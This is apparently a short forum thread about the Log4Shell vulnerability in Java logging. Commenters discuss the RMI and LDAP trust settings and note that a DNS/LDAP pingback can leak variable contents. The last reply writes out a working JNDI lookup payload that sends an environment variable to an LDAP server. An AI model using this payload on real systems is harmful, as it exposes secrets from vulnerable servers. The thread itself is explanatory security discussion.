3 ms·

If you check the argument, one is for RMI and the other is for LDAP, if your PoC uses LDAP then you need the LDAP one, else RMI, etc.. But yes, most people prob

If you check the argument, one is for RMI and the other is for LDAP, if your PoC uses LDAP then you need the LDAP one, else RMI, etc.. But yes, most people probably don't have this enabled, so the only concern is a pingback in modern java.

ryan_lane 5y ago
Pingback can also include variable contents, so it's not just "they can get the IPs", but also potentially secrets and such.
- brasetvik 5y ago
  Yeah, `${jndi:ldap://127.0.0.1:1389/o=${env:PATH}}`